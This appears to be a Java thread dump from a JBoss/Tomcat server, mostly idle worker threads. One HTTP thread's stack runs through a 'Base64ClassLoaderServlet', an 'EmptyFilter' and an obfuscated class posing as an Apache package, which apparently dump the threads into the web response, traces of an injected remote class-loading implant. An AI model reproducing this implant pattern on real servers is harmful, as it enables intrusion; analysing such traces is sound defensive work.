java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 5" #41 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ejb-client-context-tasks-2-thread-1" #98 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5a634352 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Transaction Reaper Worker 0" #105 daemon [WAITING] on java.util.LinkedList@28f0941 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:321) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"ServerService Thread Pool -- 21" #57 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 50" #108 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 27" #65 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 19" #55 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Reference Reaper" #10 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6b731d78 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.jboss.modules.ref.References$ReaperThread.run(References.java:68) + +"Transaction Reaper" #104 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@7a7509d2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"MSC service thread 1-11" #23 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-/0.0.0.0:8080-5" #124 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.KifmN.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:295) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:246) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:231) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:149) + at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:169) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:150) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:854) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:926) + at java.lang.Thread.run(Thread.java:750) + +"http-/0.0.0.0:8080-2" #121 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:713) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:351) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:819) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:926) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 35" #73 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 7" #43 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 31" #69 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 38" #78 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 30" #68 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 48" #88 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 15" #51 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Remoting "4dc98d6df1d2:MANAGEMENT" write-1" #77 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:164) + +"MSC service thread 1-12" #24 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 4" #40 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 52" #115 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 47" #87 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 2" #38 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 42" #82 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-10" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-20" #32 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-18" #30 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 8" #44 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 49" #89 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-1" #13 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 61" #116 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 22" #58 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 60" #113 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + 